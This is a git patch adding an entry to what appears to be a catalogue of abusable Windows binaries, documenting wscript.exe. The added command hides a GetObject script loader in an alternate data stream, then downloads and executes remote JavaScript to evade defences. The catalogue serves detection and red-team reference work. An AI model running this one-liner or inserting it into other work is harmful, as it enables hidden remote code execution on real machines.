From b284e46763fa663449139a9c8cb4a243720401ed Mon Sep 17 00:00:00 2001 From: Oddvar Moe Date: Thu, 27 Jun 2019 17:27:31 +0200 Subject: [PATCH] Added example to wscript --- yml/OSBinaries/Wscript.yml | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/yml/OSBinaries/Wscript.yml b/yml/OSBinaries/Wscript.yml index 0504107..4992690 100644 --- a/yml/OSBinaries/Wscript.yml +++ b/yml/OSBinaries/Wscript.yml @@ -12,6 +12,14 @@ Commands: MitreID: T1096 MitreLink: https://attack.mitre.org/wiki/Technique/T1096 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 + - Command: echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js + Description: Download and execute script stored in an alternate data stream + Usecase: Execute hidden code to evade defensive counter measures + Category: ADS + Privileges: User + MitreID: T1096 + MitreLink: https://attack.mitre.org/wiki/Technique/T1096 + OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 Full_Path: - Path: C:\Windows\System32\wscript.exe - Path: C:\Windows\SysWOW64\wscript.exe @@ -24,4 +32,6 @@ Resources: Acknowledgement: - Person: Oddvar Moe Handle: '@oddvarmoe' + - Person: SaiLay(valen) + Handle: '@404death' --- \ No newline at end of file